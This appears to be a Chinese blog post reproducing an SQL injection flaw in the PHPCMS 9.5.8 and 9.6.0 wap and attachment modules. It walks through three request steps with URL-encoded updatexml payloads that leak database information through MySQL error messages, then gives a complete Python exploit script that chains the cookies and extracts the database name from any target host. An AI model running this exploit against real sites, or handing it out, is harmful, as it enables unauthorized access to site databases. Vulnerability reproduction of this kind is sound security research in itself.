【漏洞复现】PHPCMS wap模块 SQL注入（附EXP）

漏洞影响版本：v9.5.8、v9.6.0

Step1：

　　访问：http://www.xxx.com/index.php?m=wap&a=index&siteid=1，

　　获取返回的cookie：xxx_siteid=xxx1

Step2:

　　构造POST数据，利用Step1返回的cookie值，赋值给userid_flash变量：userid_flash=xxx1

　　然后以POST方式访问以下链接：

http://www.cms_yu.com:82/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26%E4%B8%8D

　　获取返回的cookie，xxx_att_json=xxx2

Step3：

　　将Step2获取到的cookie值赋值给a_k参数，访问以下链接：

http://www.cms_yu.com:82/index.php?m=content&c=down&a_k=ac02FlgTu22hGqJOVB5dC2EHO2MM9IYKpwoQnQJHzDRZoSVgV8XgIrxCnwblXZdSixUYJxMXzuSNoXKl9hHKWh1AyeqnQ5S1iiCNDUbJkbK0U327gCvXyL0SMu4arjGRAHET7RnZsO02GFLh6jxQL8kERE9ZpQWmfRwkvnkFlvexTLn9fz0yJq-VGn0i46w

---------------------

EXP：

#coding:utf-8
import requests
import sys
from urllib import quote
import re

def exp(host):
    try:     
        cookies = {}
        data ={}

        step1 = '{}/index.php?m=wap&a=index&siteid=1'.format(host)
        res1 = requests.get(url=step1)
        for i in res1.cookies:
            if i.name[-7:] == '_siteid':
                data['userid_flash'] = i.value
            else:
                sys.stdout.write("Step1 is error!
")
        #print data

        payload = "&id=%*27 and updat*exml(1,con*cat(1,(data*base())),1)%23&modelid=1&catid=1&m=1&f="
        step2 = "{}/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src={}".format(host,quote(payload))
        #print step2
        res2 = requests.post(url=step2,data=data)
        for i in res2.cookies:
            if i.name[-9:] == '_att_json':
                a_k = i.value
        if a_k == '':
            sys.stdout.write("Step2 is error!
")
        #print a_k

        step3 = "{}/index.php?m=content&c=down&a_k={}".format(host,a_k)
        #print step3
        res3 = requests.get(url=step3)
        if 'MySQL Error' in res3.text:
            result = re.findall(r"MySQL Error : </b>XPATH syntax error: '(.*?)' <br /> <b>MySQL Errno",res3.text)
            print result

        else:
            sys.stdout.write("Step3 is error!
")

    except:
        sys.stdout.write(host+" is error!
")


def main():

    host = 'http://www.cms_yu.com:81/';
    exp(host)


if __name__ == '__main__':
    main()

笨鸟先飞早入林，笨人勤学早成材。

转载请注明出处：
撰写人：fox-yu  http://www.cnblogs.com/fox-yu/